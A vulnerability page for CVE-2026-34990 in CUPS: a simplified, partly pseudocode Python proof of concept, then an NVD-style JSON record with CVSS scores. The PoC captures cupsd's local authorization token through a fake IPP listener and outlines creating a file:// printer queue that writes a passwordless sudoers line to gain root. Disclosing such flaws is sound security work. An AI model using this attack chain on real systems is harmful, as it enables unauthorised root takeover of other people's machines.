CVE-2026-34990

import socket import time # Conceptual PoC for CVE-2026-34990 # This script demonstrates the logic of exploiting the CUPS vulnerability. # Note: This is a simplified representation. def capture_token(): # 1. Setup a listener on localhost to act as the malicious IPP service server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('127.0.0.1', 8000)) # Example port server.listen(1) print("[+] Malicious IPP service listening on port 8000...") # 2. Wait for cupsd to connect (triggered by attacker or system event) conn, addr = server.accept() print(f"[+] Connection received from {addr}") # 3. Receive headers and extract 'Authorization: Local ...' token data = conn.recv(4096).decode('utf-8') headers = data.split('\r\n') token = None for header in headers: if 'Authorization:' in header and 'Local' in header: token = header.split('Local ')[1] break conn.close() server.close() return token def exploit(token): if not token: print("[-] Failed to capture token.") return print(f"[+] Captured Token: {token}") # 4. Use the token to create a printer with a file:// URI pointing to a root-owned file # Target: /etc/sudoers.d/cve_2026_34990_pwn url = "http://127.0.0.1:631/admin/" headers = { "Authorization": f"Local {token}", "Content-Type": "application/ipp" } # IPP Payload to add printer (CUPS-Create-Local-Printer) # Setting printer-is-shared=true and device-uri=file:///etc/sudoers.d/cve_2026_34990_pwn payload = b"..." # Simplified IPP binary structure print("[+] Sending request to create malicious printer queue...") # requests.post(url, headers=headers, data=payload) # Pseudocode # 5. Print a job to the newly created queue # The job content would be: "attacker ALL=(ALL) NOPASSWD: ALL" print_content = "attacker ALL=(ALL) NOPASSWD: ALL" print("[+] Sending print job to overwrite root file...") # requests.post(print_url, data=print_content) # Pseudocode print("[+] Exploit complete. Check root access.") if __name__ == "__main__": # Trigger the attack chain # In a real scenario, the attacker might need to trigger cupsd discovery/add printer captured_token = capture_token() exploit(captured_token)

{"cve": {"id": "CVE-2026-34990", "sourceIdentifier": "[email protected]", "published": "2026-04-03T22:16:27.400", "lastModified": "2026-04-16T18:15:24.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, a local unprivileged user can coerce cupsd into authenticating to an attacker-controlled localhost IPP service with a reusable Authorization: Local ... token. That token is enough to drive /admin/ requests on localhost, and the attacker can combine CUPS-Create-Local-Printer with printer-is-shared=true to persist a file:///... queue even though the normal FileDevice policy rejects such URIs. Printing to that queue gives an arbitrary root file overwrite; the PoC below uses that primitive to drop a sudoers fragment and demonstrate root command execution. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.4.16", "matchCriteriaId": "8A2A4507-B2D7-43B8-B008-6EC2F5053FA9"}]}]}], "references": [{"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-c54j-2vqw-wpwp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}